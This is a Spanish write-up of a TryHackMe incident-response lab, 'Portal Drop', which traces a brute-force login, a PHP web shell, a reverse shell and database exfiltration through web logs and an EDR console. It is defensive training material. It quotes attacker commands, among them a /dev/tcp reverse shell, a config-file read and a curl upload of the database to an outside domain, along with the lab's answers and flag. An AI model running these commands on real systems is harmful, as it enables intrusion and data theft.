



Resolución de Laboratorio

Portal Drop

Investigación de un incidente de intrusión en el portal CRM de TryPatchMe: correlación de logs de acceso web y consola EDR para reconstruir un ataque de fuerza bruta, subida de una web shell PHP, ejecución remota de comandos y exfiltración de la base de datos, aplicando la técnica MITRE ATT&CK T1505.003 (Web Shell).

URL: <https://tryhackme.com/room/portaldrop>

Writeup por Jenrrisinho

1. IP que inició el brute force

Filtrando el log combinado por la ruta de login:

grep "login" access-combined-crm-*.log

```
(root@kali) ~/Documents/portaldrop
# grep "login" access-combined-crm-1767978582478-1768841821765.log
18.205.93.1 - - [06/Nov/2025:14:15:15 +0000] "POST /CRM/login.php HTTP/1.1" 200 38 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Firefox/120.0"
52.95.245.33 - - [06/Nov/2025:14:15:24 +0000] "POST /CRM/login.php HTTP/1.1" 200 166 "https://crm.trypatchme.thm" "PF-BusinessClient/3.1"
34.67.91.83 - - [06/Nov/2025:14:16:14 +0000] "POST /CRM/login.php HTTP/1.1" 401 2018 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:21 +0000] "POST /CRM/login.php HTTP/1.1" 401 4558 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:29 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:37 +0000] "POST /CRM/login.php HTTP/1.1" 401 38 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:45 +0000] "POST /CRM/login.php HTTP/1.1" 401 82 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:47 +0000] "POST /CRM/login.php HTTP/1.1" 401 64 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:53 +0000] "POST /CRM/login.php HTTP/1.1" 401 768 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:01 +0000] "POST /CRM/login.php HTTP/1.1" 401 121 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:09 +0000] "POST /CRM/login.php HTTP/1.1" 401 60 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:17 +0000] "POST /CRM/login.php HTTP/1.1" 401 166 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
64.233.177.99 - - [06/Nov/2025:14:17:20 +0000] "POST /CRM/login.php HTTP/1.1" 401 563 "https://crm.trypatchme.thm" "python-requests/2.31.0"
34.67.91.83 - - [06/Nov/2025:14:17:24 +0000] "POST /CRM/login.php HTTP/1.1" 401 563 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:30 +0000] "POST /CRM/login.php HTTP/1.1" 401 120 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
54.201.10.55 - - [06/Nov/2025:14:17:47 +0000] "POST /CRM/login.php HTTP/1.1" 401 182 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36"
104.16.123.96 - - [06/Nov/2025:14:17:49 +0000] "POST /CRM/login.php HTTP/1.1" 200 121 "https://crm.trypatchme.thm" "PF-API-Client/2.5"
34.67.91.83 - - [06/Nov/2025:14:19:43 +0000] "POST /CRM/login.php HTTP/1.1" 401 2018 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:19:51 +0000] "POST /CRM/login.php HTTP/1.1" 401 4558 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:19:59 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:07 +0000] "POST /CRM/login.php HTTP/1.1" 401 38 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:15 +0000] "POST /CRM/login.php HTTP/1.1" 401 82 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:23 +0000] "POST /CRM/login.php HTTP/1.1" 401 768 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:30 +0000] "POST /CRM/login.php HTTP/1.1" 401 121 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
23.20.239.12 - - [06/Nov/2025:14:20:32 +0000] "POST /CRM/login.php HTTP/1.1" 200 82 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 Safari/537.36"
34.67.91.83 - - [06/Nov/2025:14:20:38 +0000] "POST /CRM/login.php HTTP/1.1" 401 60 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
54.201.10.55 - - [06/Nov/2025:14:20:44 +0000] "POST /CRM/login.php HTTP/1.1" 401 60 "https://crm.trypatchme.thm" "python-requests/2.31.0"
34.67.91.83 - - [06/Nov/2025:14:20:46 +0000] "POST /CRM/login.php HTTP/1.1" 401 166 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:54 +0000] "POST /CRM/login.php HTTP/1.1" 200 563 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
43.132.0.77 - - [06/Nov/2025:14:21:07 +0000] "POST /CRM/login.php HTTP/1.1" 200 582 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; Gecko/20100101 Firefox/15.0.1"
192.10.2.77 - - [06/Nov/2025:14:22:26 +0000] "POST /CRM/login.php HTTP/1.1" 200 121 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36"
197.51.100.22 - - [06/Nov/2025:14:24:37 +0000] "POST /CRM/login.php HTTP/1.1" 401 182 "https://crm.trypatchme.thm" "PF-API-Client/2.5"
34.216.10.99 - - [06/Nov/2025:14:26:36 +0000] "POST /CRM/login.php HTTP/1.1" 401 563 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 Safari/537.36"
203.11.113.45 - - [06/Nov/2025:14:26:50 +0000] "POST /CRM/login.php HTTP/1.1" 401 38 "https://crm.trypatchme.thm" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 Safari/605.1.15"
89.177.22.3 - - [06/Nov/2025:14:27:14 +0000] "POST /CRM/login.php HTTP/1.1" 200 93 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Firefox/120.0"
151.101.1.140 - - [06/Nov/2025:14:28:34 +0000] "POST /CRM/login.php HTTP/1.1" 200 93 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; Gecko/20100101 Firefox/15.0.1"
151.101.1.140 - - [06/Nov/2025:14:28:37 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "python-requests/2.31.0"
192.10.2.77 - - [06/Nov/2025:14:29:35 +0000] "POST /CRM/login.php HTTP/1.1" 401 563 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 Safari/537.36"
104.16.123.96 - - [06/Nov/2025:14:29:48 +0000] "HEAD /CRM/portal/wp-login.php HTTP/1.1" 404 - "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36"
151.101.1.140 - - [06/Nov/2025:14:30:19 +0000] "POST /CRM/login.php HTTP/1.1" 401 93 "https://crm.trypatchme.thm" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 Safari/605.1.15"
89.177.22.3 - - [06/Nov/2025:14:30:33 +0000] "POST /CRM/portal/wp-login.php HTTP/1.1" 404 284 "https://crm.trypatchme.thm" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 Safari/605.1.15"
35.180.10.10 - - [06/Nov/2025:14:30:35 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 Safari/605.1.15"
64.233.177.99 - - [06/Nov/2025:14:30:36 +0000] "GET /CRM/portal/wp-login.php HTTP/1.1" 404 284 "https://crm.trypatchme.thm" "PF-API-Client/2.5"
185.199.108.133 - - [06/Nov/2025:14:31:23 +0000] "POST /CRM/login.php HTTP/1.1" 200 166 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Firefox/120.0"
151.101.1.140 - - [06/Nov/2025:14:31:41 +0000] "POST /CRM/login.php HTTP/1.1" 200 182 "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1"
203.11.113.45 - - [06/Nov/2025:14:32:26 +0000] "POST /CRM/login.php HTTP/1.1" 200 179 "https://crm.trypatchme.thm" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 Safari/605.1.15"
151.101.1.140 - - [06/Nov/2025:14:32:28 +0000] "POST /CRM/login.php HTTP/1.1" 401 93 "https://crm.trypatchme.thm" "PF-API-Client/2.5"
151.101.1.140 - - [06/Nov/2025:14:32:44 +0000] "OPTIONS /CRM/portal/wp-login.php HTTP/1.1" 404 284 "https://crm.trypatchme.thm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36"
89.177.22.3 - - [06/Nov/2025:14:32:54 +0000] "POST /CRM/login.php HTTP/1.1" 200 284 "https://crm.trypatchme.thm" "PF-BusinessClient/3.1"
192.10.2.77 - - [06/Nov/2025:14:33:42 +0000] "HEAD /CRM/portal/wp-login.php HTTP/1.1" 404 - "https://crm.trypatchme.thm" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1"
```

Se observa un volumen anómalo de peticiones POST /CRM/login.php con código 401 provenientes de una misma IP, usando el user-agent PF-Scanner/1.0.

IP atacante: 34.67.91.83

2. Logins exitosos y fallidos

grep "login" access-combined-crm-*.log | grep "200" | wc -l # → 18

grep "login" access-combined-crm-*.log | grep "401" | wc -l # → 35

```
(root@kali)-[~/Documents/portaldrop]
# grep "login" access-combined-crm-1767978582478-1768841821765.log | grep "200" | wc -l
18

(root@kali)-[~/Documents/portaldrop]
# grep "login" access-combined-crm-1767978582478-1768841821765.log | grep "401" | wc -l
35
```

Resultado: 18 exitosos, 35 fallidos.

3. User-agent usado para la subida del archivo

Filtrando toda la actividad de la IP atacante:

grep "34.67.91.83" access-combined-crm-*.log

```
(root@kali)-[~/Documents/portaldrop]
# grep "34.67.91.83" access-combined-crm-1767978582478-1768841821765.log
34.67.91.83 - - [06/Nov/2025:14:16:14 +0000] "POST /CRM/login.php HTTP/1.1" 401 2018 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:21 +0000] "POST /CRM/login.php HTTP/1.1" 401 4558 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:29 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:37 +0000] "POST /CRM/login.php HTTP/1.1" 401 38 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:45 +0000] "POST /CRM/login.php HTTP/1.1" 401 82 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:47 +0000] "POST /CRM/login.php HTTP/1.1" 401 64 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:16:53 +0000] "POST /CRM/login.php HTTP/1.1" 401 768 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:01 +0000] "POST /CRM/login.php HTTP/1.1" 401 121 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:09 +0000] "POST /CRM/login.php HTTP/1.1" 401 60 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:17 +0000] "POST /CRM/login.php HTTP/1.1" 401 166 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:24 +0000] "POST /CRM/login.php HTTP/1.1" 401 563 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:17:30 +0000] "POST /CRM/login.php HTTP/1.1" 401 120 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:19:43 +0000] "POST /CRM/login.php HTTP/1.1" 401 2018 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:19:51 +0000] "POST /CRM/login.php HTTP/1.1" 401 4558 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:19:59 +0000] "POST /CRM/login.php HTTP/1.1" 401 360 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:07 +0000] "POST /CRM/login.php HTTP/1.1" 401 38 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:15 +0000] "POST /CRM/login.php HTTP/1.1" 401 82 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:23 +0000] "POST /CRM/login.php HTTP/1.1" 401 768 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:30 +0000] "POST /CRM/login.php HTTP/1.1" 401 121 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:38 +0000] "POST /CRM/login.php HTTP/1.1" 401 60 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:46 +0000] "POST /CRM/login.php HTTP/1.1" 401 166 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:20:54 +0000] "POST /CRM/login.php HTTP/1.1" 200 563 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:26:42 +0000] "GET /CRM/portal/index.php HTTP/1.1" 200 384 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:27:09 +0000] "GET /CRM/profile/index.php HTTP/1.1" 200 166 "https://crm.trypatchme.thm" "PF-Scanner/1.0"
34.67.91.83 - - [06/Nov/2025:14:27:32 +0000] "POST /CRM/portal/upload.php HTTP/1.1" 200 826 "https://crm.trypatchme.thm" "python-requests/2.31.0"
34.67.91.83 - - [06/Nov/2025:14:27:34 +0000] "POST /CRM/portal/uploads/invoice.php?q=ZDjodlXMXA6auth=31337 HTTP/1.1" 200 29 "https://crm.trypatchme.thm" "python-requests/2.31.0"
34.67.91.83 - - [06/Nov/2025:14:28:34 +0000] "POST /CRM/portal/uploads/invoice.php?q=WW1GemFDQXRhU0ErSmldBdLpHVjJmM1JqY0M4eE1UVXV0VGd1TVRRNExqZzJmMmd3T0RBZ1ENG1NUT096auth=31337 HTTP/1.1" 200 29 "https://crm.trypatchme.thm" "python-requests/2.31.0"
```

Tras las peticiones de fuerza bruta con PF-Scanner/1.0, aparecen peticiones POST /CRM/portal/upload.php y accesos a /CRM/portal/uploads/invoice.php, ahora con el user-agent:

python-requests/2.31.0

Esto indica que el atacante pasó de un scanner automatizado a un script propio en Python para subir y luego interactuar con el archivo malicioso.

4. Nombre del archivo subido

En la misma traza se ve POST /CRM/portal/upload.php con código 200 826, seguido de invocaciones a:

invoice.php

subido dentro de /CRM/portal/uploads/.

5. Primera invocación del script subido

La primera petición a invoice.php con parámetros (?q=...&auth=31337) queda

registrada como:

2025-11-06 14:27:34

6. Primer comando decodificado

El parámetro q va en Base64 (doble capa). Usando CyberChef con dos recetas **From Base64**, el valor ZDJod1lXMXA decodifica a:

whoami

The screenshot displays the CyberChef web application interface. On the left, under the 'Recipe' tab, two 'From Base64' recipes are stacked. Each recipe has a dropdown menu set to 'Alphabet' with the range 'A-Za-z0-9+/' and both 'Remove non-alphabet chars' and 'Strict mode' checkboxes checked. On the right, the 'Input' tab shows the text 'ZDJod1lXMXA' highlighted in yellow. Below the input, a status bar indicates 'rec 11', '1' recipe, and '0-11 (11 selected)'. The 'Output' tab on the right shows the decoded result 'whoami'.

Esto confirma que la web shell ejecuta comandos arbitrarios en el servidor recibidos por parámetro GET/POST.

7. Sub-técnica MITRE ATT&CK de persistencia

El archivo invoice.php actúa como puerta trasera persistente en el servidor web, permitiendo ejecución remota de comandos vía HTTP — esto corresponde a:

T1505.003 – Server Software Component: Web Shell

(Persistence, plataformas Linux/Windows/macOS/Network Devices).

Home > Techniques > Enterprise > Server Software Component > Web Shell

Server Software Component: Web Shell

Other sub-techniques of Server Software Component (6)

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.^[1]

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).^[2]

ID: T1505.003

Sub-technique of: T1505

①Tactic: Persistence

①Platforms: Linux, Network Devices, Windows, macOS

Contributors: Arnim Rupp, Deutsche Lufthansa AG

Version: 1.5

Created: 13 December 2019

Last Modified: 12 May 2026

Version Permalink

8. Proceso que ejecuta los comandos del atacante

En la consola EDR, el detection **"Parent-Child Anomaly: Shell Spawn"** muestra el árbol de procesos: el servidor web invoca /bin/bash, y el proceso padre que lo genera es:

/usr/sbin/php-fpm7.4

Es decir, PHP-FPM interpreta invoice.php y termina generando un shell.

Parent-Child Anomaly: Shell Spawn

Summary

Process Info

IOC/Indicators

Actions/Response

Associated Indicators of Compromise (IoCs)

Type	Value	Source	Action
Process Image	/bin/bash	Related Entity	Observed
Process Image	/usr/sbin/php-fpm7.4	Related Entity	Observed
IPv4 Address	115.58.148.86	Atomic Indicator	Flagged
Shell Command	bash -c "bash -i >& /dev/tcp/115.58.148.86/8080 0>&1"	Attack Indicator	Flagged

Last refreshed: 2:17:18

Indicator

Process Image

/usr/sbin/php-fpm7.4

Related Entity

Last refreshed: 2:17:18

9. Comando que abre el reverse shell

En los IOC/Indicators de esa misma detección aparece el comando bandera:

```
bash -i >& /dev/tcp/115.58.148.86/8080 0>&1
```

Esto abre una shell interactiva reversa hacia la IP del atacante por el puerto 8080.

10. Usuario Linux que ejecuta los comandos maliciosos

Tanto en el detalle del reverse shell como en la detección "Unusual User Behavior: System Discovery" (proceso cat /etc/trycrm/config.json), el campo **User** indica:

www-data

El usuario del servicio web, consistente con una compromisión vía aplicación web.

The screenshot displays a web interface titled "Unusual User Behavior: System Discovery". It features a navigation bar with tabs: Summary, Process Info (selected), IOC/Indicators, and Actions/Response. The main content area is divided into two sections. On the left, under "Process Chain", is a vertical list of processes: bash, uname, ip, find, cat, ls, and curl. Each process has a circular icon with a minus or plus sign. The "cat" process is highlighted. On the right, a detailed view of the "cat" process is shown. It includes the following information: Time (Nov 6th 2025 at 09:34), Image (/bin/cat), Command Line (cat /etc/trycrm/config.json), Process ID (1216), Parent Process ID (1203), User (www-data), Session (non-interactive), and Sensitive File Read (/etc/trycrm/config.json). The file path is highlighted in red. At the bottom left, it says "Last refreshed: 2:24:29".

11. Archivo de configuración sensible accedido

Dentro del árbol de procesos de reconocimiento (uname, ip, find, cat, ls, curl) de esa detección, el proceso cat muestra:

```
cat /etc/trycrm/config.json
```

Archivo: /etc/trycrm/config.json

Probablemente contenía credenciales o cadenas de conexión a la base de datos del CRM.

12. Dominio usado para exfiltrar la base de datos

En la detección "Unusual User Behavior: System Discovery", el proceso curl muestra la línea de comando completa:

```
curl -sS -T /var/lib/trycrm/prod.db -T /var/lib/trycrm/prod.idx  
https://portaldrop2025.xyz/x7Ja0mlqP
```

The screenshot displays a security dashboard titled "Unusual User Behavior: System Discovery". It features a navigation bar with tabs: Summary, Process Info (selected), IOC/Indicators, and Actions/Response. The main content area is divided into a "Process Chain" on the left and a detailed view of the "curl" process on the right. The process chain lists a sequence of commands: bash, uname, ip, find, cat, ls, and curl. The detailed view for "curl" includes the following information:

- Time:** Nov 6th 2025 at 09:37
- Image:** /bin/curl
- Command Line:** curl -sS -T /var/lib/trycrm/prod.db -T /var/lib/trycrm/prod.idx https://portaldrop2025.xyz/x7Ja0mlqP
- Process ID:** 1224
- Parent Process ID:** 1203
- User:** www-data
- Session:** non-interactive
- DNS Request:** portaldrop2025.xyz
- Network Connection:** 115.58.148.86:443

At the bottom left, it states "Last refreshed: 2:25:15".

Y el campo DNS Request confirma la resolución de:

portaldrop2025.xyz

Con esto el atacante sube (-T, upload) la base de datos y su índice a un servidor externo — exfiltración confirmada.

13. Contención y respuesta

Con la evidencia correlacionada, se procede a responder cada detección en el EDR:

- **Suspicious File Write: Backdoor:PHP/Generic** → Quarantine invoice.php, Collect invoice.php, Analyze Root Cause (3/3 ✓)

Suspicious File Write: Backdoor:PHP/Generic

[Summary](#) [Process Info](#) [IOC/Indicators](#) [Actions/Response](#)

You've successfully completed all the correct response actions!

Response Actions Taken

Actions taken to respond to the detection. 3/3

Action Taken	Status	Time	Performed By
Quarantine invoice.php File	Completed	2:28:00	analyst
Analyze the Root Cause	Completed	2:29:20	analyst
Collect invoice.php File	Completed	2:30:03	analyst

Last refreshed: 2:30:03

Available Response Options

Quarantine Apache2 Binary

Quarantine invoice.php File ✓

Collect invoice.php File ✓

Terminate Apache Process

Rotate www-data Password

Terminate PHP-FPM Process

Quarantine PHP-FPM Binary

Analyze the Root Cause ✓

Pick the 3 correct actions to respond to the detection.

Last refreshed: 2:30:03

- **Parent-Child Anomaly: Shell Spawn** → Terminate Bash Process, Block Flagged IPv4 (2/2 ✓)

Parent-Child Anomaly: Shell Spawn

[Summary](#) [Process Info](#) [IOC/Indicators](#) [Actions/Response](#)

You've successfully completed all the correct response actions!

Response Actions Taken

Actions taken to respond to the detection. 2/2

Action Taken	Status	Time	Performed By
Terminate Bash Process	Completed	2:32:11	analyst
Block Flagged IPv4	Completed	2:32:31	analyst

Last refreshed: 2:32:31

Available Response Options

Terminate Bash Process ✓

Quarantine Bash Binary

Analyze the Root Cause

Collect Memory Dump

Block Inbound SSH

Quarantine PHP-FPM Binary

Terminate PHP-FPM Process

Block Flagged IPv4 ✓

Pick the 2 correct actions to respond to the detection.

Last refreshed: 2:32:31

- **Unusual User Behavior: System Discovery** → Isolate Host for DFIR, Block Flagged Domain/IP, Analyze Root Cause (3/3 ✓)

Unusual User Behavior: System Discovery

Summary
Process Info
IOC/Indicators
Actions/Response

You've successfully completed all the correct response actions!

Response Actions Taken

Actions taken to respond to the detection. 3/3

Action Taken	Status	Time	Performed By
Isolate the Host for DFIR	Completed	2:33:26	analyst
Block Flagged Domain/IP	Completed	2:34:10	analyst
Analyze the Root Cause	Completed	2:35:35	analyst

Last refreshed: 2:35:35

Available Response Options

Analyze the Root Cause ✓

Block Flagged Domain/IP ✓

Quarantine Bash Binary

Rotate www-data Password

Block Discovery Binaries

Isolate the Host for DFIR ✓

Terminate Bash Process

Reimage the OS and CRM

Pick the 3 correct actions to respond to the detection.

Last refreshed: 2:35:35

- **Hands-On-Keyboard Root Activity** → Review Changes to Nginx Config, Contact User Behind the Login, Close as FP if Actions Approved (3/3 ✓)

THM[p0rtal_dropp3d?]

All Detections

Hands-On-Keyboard Root Activity

Summary
Process Info
IOC/Indicators
Actions/Response

You've successfully completed all the correct response actions!

Response Actions Taken

Actions taken to respond to the detection. 3/3

Action Taken	Status	Time	Performed By
Review Changes to Nginx Config	Completed	2:37:02	analyst
Contact the User Behind the Login	Completed	2:38:03	analyst
Close as FP if Actions Approved	Completed	2:39:34	analyst

Last refreshed: 2:39:38

Available Response Options

Terminate SSHD Process

Close as FP if Actions Approved ✓

Quarantine SSHD Binary

Restore Nginx Configuration

Review Changes to Nginx Config ✓

Rotate root Password

Contact the User Behind the Login ✓

Delete all root SSH keys

Pick the 3 correct actions to respond to the detection.

Last refreshed: 2:39:38

Al completar correctamente las cuatro respuestas, se obtiene la flag:

THM{p0rtal_dropp3d?}